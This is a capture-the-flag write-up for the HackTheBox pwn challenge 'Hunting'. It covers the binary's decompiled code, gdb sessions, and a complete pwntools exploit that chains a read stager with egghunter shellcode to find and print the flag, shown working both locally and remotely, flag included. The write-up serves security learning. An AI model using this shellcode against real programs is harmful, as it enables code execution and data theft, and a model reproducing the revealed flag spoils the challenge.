HackTheBox Pwn: Hunting
This challenge was quite good, as someone who never really did egghunting shellcode, this was a good learning experience. So, the binary given s pretty simple, all the protections have been disabled except the PIE but, analysing the workflow, we can see that it reads shellcode and then execute that shellcode.
4mianwayne@oracle:~/Pwning/HackTheBox$ checksec hunting
[*] '/home/d4mianwayne/Pwning/HackTheBox/hunting'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
Reverse Engineering #
In the binary itself, the main
functions seems to be doing
int sub_1374()
{
void *addr; // ST2C_4
void *buf; // ST24_4
int v3; // [esp-10h] [ebp-24h]
int v4; // [esp-Ch] [ebp-20h]
int v5; // [esp-8h] [ebp-1Ch]
int v6; // [esp-4h] [ebp-18h]
char *dest; // [esp+4h] [ebp-10h]
addr = (void *)sub_12E8();
signal(14, (__sighandler_t)&exit);
alarm(3u);
dest = (char *)mmap(addr, 0x1000u, 3, 49, -1, 0);
if ( dest == (char *)-1 )
sub_1118(-1, v3, v4, v5);
strcpy(dest, aHtbXxxxxxxxxxx);
memset(aHtbXxxxxxxxxxx, 0, 0x25u);
sub_1259();
buf = malloc(0x3Cu);
read(0, buf, 0x3Cu);
((void (__stdcall *)(int, void *, _DWORD))buf)(v6, buf, 0);
return 0;
}
Here, if gets the address from the following function:-
int sub_12E8()
{
unsigned int buf; // [esp+0h] [ebp-18h]
int fd; // [esp+8h] [ebp-10h]
int i; // [esp+Ch] [ebp-Ch]
fd = open("/dev/urandom", 0);
read(fd, &buf, 8u);
close(fd);
srand(buf);
for ( i = 0; i <= 1610612735 || (unsigned int)i > 0xF7000000; i = rand() << 16 )
;
return i;
}
This one seems to setting the seed of the random taken from the /dev/urandom
and then calling the rand()
a large number of times and returns it after certain number of iterations, so this is unpredictably random.
Then after getting a random address, it calls mmap
to allocate a memory pointed by the randomized address, then copies the flag string to that region, after that it reads 0x30
bytes from the stdin and calls the given input, hence it is reading a shellcode which will be called later on. It also makes the memmory 0
pointed by the flag before calling the read
, things got a bit more complicated here but we have shellcode execution :)
Initial Idea #
Running it in gdb
, we can see:-
gef➤ r
Starting program: /home/d4mianwayne/Pwning/HackTheBox/hunting
AAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x5657c000 in ?? ()
[ ..snip.. ]
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0x5655a194 → 0x00000084
$ebx : 0x56559000 → clc
$ecx : 0x5655a1b3 → 0x000000ab
$edx : 0x3c
$esp : 0xffffd008 → 0x0000002b ("+"?)
$ebp : 0xffffd028 → 0x00000000
$esi : 0xf7fae000 → 0x001ead6c
$edi : 0xf7fae000 → 0x001ead6c
$eip : 0x5657c000
$eflags: [zero CARRY PARITY adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffd008│+0x0000: 0x0000002b ("+"?) ← $esp
0xffffd00c│+0x0004: 0x5655644f → mov eax, 0x0
0xffffd010│+0x0008: 0x00000001
0xffffd014│+0x000c: 0x5655a1a0 → 0x41414141
0xffffd018│+0x0010: 0x00000000
0xffffd01c│+0x0014: 0x00000000
0xffffd020│+0x0018: 0xffffd040 → 0x00000001
0xffffd024│+0x001c: 0x00000000
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x5657c000
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "hunting", stopped 0x5657c000 in ?? (), reason: SIGSEGV
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤
After fiddling around much, and examing the memory sections, we can see the flag is loaded into the mmap
’d page:-
gef➤ search-pattern HTB{
[+] Searching 'HTB{' in memory
[+] In '/dev/zero (deleted)'(0x74b90000-0x74b91000), permission=rwx
0x74b90000 - 0x74b90024 → "HTB{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}"
gef➤ vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x56555000 0x56558000 0x00000000 r-x /home/d4mianwayne/Pwning/HackTheBox/hunting
0x56558000 0x56559000 0x00002000 r-x /home/d4mianwayne/Pwning/HackTheBox/hunting
0x56559000 0x5655a000 0x00003000 rwx /home/d4mianwayne/Pwning/HackTheBox/hunting
0x5655a000 0x5657c000 0x00000000 rwx [heap]
0x74b90000 0x74b91000 0x00000000 rwx /dev/zero (deleted)
0xf7dc3000 0xf7fab000 0x00000000 r-x /usr/lib/i386-linux-gnu/libc-2.31.so
0xf7fab000 0xf7fac000 0x001e8000 --- /usr/lib/i386-linux-gnu/libc-2.31.so
0xf7fac000 0xf7fae000 0x001e8000 r-x /usr/lib/i386-linux-gnu/libc-2.31.so
0xf7fae000 0xf7fb0000 0x001ea000 rwx /usr/lib/i386-linux-gnu/libc-2.31.so
0xf7fb0000 0xf7fb2000 0x00000000 rwx
0xf7fcb000 0xf7fcd000 0x00000000 rwx
0xf7fcd000 0xf7fd0000 0x00000000 r-- [vvar]
0xf7fd0000 0xf7fd1000 0x00000000 r-x [vdso]
0xf7fd1000 0xf7ffb000 0x00000000 r-x /usr/lib/i386-linux-gnu/ld-2.31.so
0xf7ffc000 0xf7ffd000 0x0002a000 r-x /usr/lib/i386-linux-gnu/ld-2.31.so
0xf7ffd000 0xf7ffe000 0x0002b000 rwx /usr/lib/i386-linux-gnu/ld-2.31.so
0xfffdd000 0xffffe000 0x00000000 rwx [stack]
Paying close attention to these, flag resides in 0x74b90000 - 0x74b90024 → "HTB{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}"
which when we see in vmmap
which shows the numbers of the memory pages used by the executable turns out to be from the ummap
’d region.
0x74b90000 0x74b91000 0x00000000 rwx /dev/zero (deleted)
So, therefore, what we see here is the flag belongs to a 0 initialized memory region, what can we do now?
There’s a shellcode technique called egghunting
which is used to search for EGG
which could be string/address/byte/DWORD or anything which resides in memory which we want to search for, since the memory region where the flag resides still belongs to the binary process image, we can use egghunting
technique shellcode and once we get the memory pointed to the HTB{
we can print it by just calling write.
Exploit Development and Debugging #
So, without further ado, let’s start, what we can do here is now:-
- Call egghunting shellcode and search for string
HTB{
in the process image. - Once found, print it with the
write
Let’s start by first finding the HTB
string:-
With the help of the shellcraft.egghunter(string, starting_address)
of pwntools, we can give the string we want to find and the starting address to let it prepare the shellcode for us.
from pwn import *
context.arch = "i386"
p = process("./hunting")
shellcode = asm(shellcraft.egghunter(b"HTB{", 0x50000000))
pause()
p.send(shellcode)
p.interactive()
NOTE: Since PIE is enabled, the base address for the binary would start from here, more or less,
0x50000000
marking it as starting address saved seconds(I am picky).
Running the exploit and attaching it to the gdb
:-
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0xfffffffe
$ebx : 0x69df0000 → "HTB{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}"
$ecx : 0x0
$edx : 0x400
$esp : 0xfff30008 → 0x7b425448 ("HTB{"?)
$ebp : 0xfff30028 → 0x00000000
$esi : 0xfff3000c → 0x5655b44f → mov eax, 0x0
$edi : 0x69df0004 → "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}"
$eip : 0x579fe1d9 → 0x29000000
Nice, we have the flag in ebx
register, so, we can now just do
write(1, $ebx, 0x100)
where ebx
is a memory pointer to the flag.
The Length Issue #
Okay, so at this time I did
from pwn import *
context.arch = "i386"
p = process("./hunting")
shellcode += asm(shellcraft.egghunter(b"HTB{", 0x50000000))
shellcode += asm(shellcraft.write(1, "ebx", 36))
pause()
p.send(shellcode)
p.interactive()
But I forgot that the length allowed was only 0x30
which was pretty much taken by the egghunter shellcode, so we need something to act as a stager shellcode. So, to do work through this, what we can do is call read
to make the binary read large amount of input.
The shellcode would be as follows:-
xor eax, eax
mov al, 3
xor ebx, ebx
mov dl, 0xff
int 0x80
To understand the shellcode, we xor
’d the eax
to make it 0
then we move 3
to the lower 16 bit of the register eax
pointed by al
, then we xor
’d ebx
register which will make it 0
as well, after that we move 0xff
to the lower 16 bits of the edx
pointed by dl
, then we do int 0x80
to do a syscall.
So, here:-
read(ebx, ecx, edx)
Where ebx
points to the fd
, as it has been XOR’d it contains 0
which the fd
of the stdin
then ecx
when the time of the execution of the shellcode pointes to the buffer itself, so we don’t manipulate it’s value, next, edx
contains the size which is 0xff
, more than enough for us.
eax
points to the syscall number, read syscall number is 3 and theint 0x80
is used to tell the program we are making syscall, sinceeax
is3
theread
will be made.
Now, let’s check if it works:-
from pwn import *
context.arch = "i386"
p = process("./hunting")
shellcode = asm("""
xor eax, eax
mov al, 3
xor ebx, ebx
mov dl, 0xff
int 0x80""")
log.info("SHELLCODE LENGTH: %d" %(len(shellcode)))
pause()
p.send(shellcode)
p.interactive()
Running it and attaching gdb
to one side:-
d4mianwayne@oracle:~/Pwning/HackTheBox$ python3 hunting.py
[+] Starting local process './hunting': pid 23502
[*] SHELLCODE LENGTH: 10
[*] Paused (press any to continue)
[*] Switching to interactive mode
$ aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
$
In gdb
window:-
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0xffe9941b → "i686"
$ebx : 0x1f
$ecx : 0xf
$edx : 0xffe9bfee → 0x75682f2e ("./hu"?)
$esp : 0xffe993f4 → 0x00000000
$ebp : 0x1a
$esi : 0xffe9940b → 0x0d4809be
$edi : 0x19
$eip : 0x5754f1c8 → "kaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawa[...]"
The eip
points to the input we gave but certainly not from the start, let’s check the offset:-
gef➤ pattern search kaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawa
[+] Searching 'kaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawa'
[+] Found at offset 40 (big-endian search)
This done, we will just know that:-
payload = b"A"*40
payload += shellcode
We are almost done.
Now, we will just add shellcraft.write(1, 'ebx', 36)
with our previous work and we are done :)
The final exploit looks like:-
from pwn import *
context.arch = "i386"
p = process("./hunting")
# Send the stager shellcode to read the bigger shellcode later
shellcode = asm("""
xor eax, eax
mov al, 3
xor ebx, ebx
mov dl, 0xff
int 0x80""")
log.info("SHELLCODE LENGTH: %d" %(len(shellcode)))
p.send(shellcode)
shellcode = b"A"*40 # Offset to the EIP
# The Egghunter shellcode to search for the memory having `HTB{` strting
shellcode += asm(shellcraft.egghunter(b"HTB{", 0x50000000))
# Once found, the `ebx` points to the flag, so we just print it
shellcode += asm(shellcraft.write(1, "ebx", 36))
p.send(shellcode)
# Recieve the flag
flag = p.recvuntil("}")
log.success("FLAG: %s" %(flag))
p.close()
That aside, let’s run it and this time without gdb
:-
d4mianwayne@oracle:~/Pwning/HackTheBox$ python3 hunting.py
[+] Starting local process './hunting': pid 23649
[*] SHELLCODE LENGTH: 10
[+] FLAG: b'HTB{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}'
[*] Stopped process './hunting' (pid 23649)
Voila, we get the flag, let’s run the exploit for the remote server:-
d4mianwayne@oracle:~/Pwning/HackTheBox$ python3 hunting.py
[+] Opening connection to 165.232.101.10 on port 31335: Done
[*] SHELLCODE LENGTH: 10
[+] FLAG: b'HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}'
[*] Closed connection to 165.232.101.10 port 31335
And done!
That was quite a nice ride, hope you learned something :)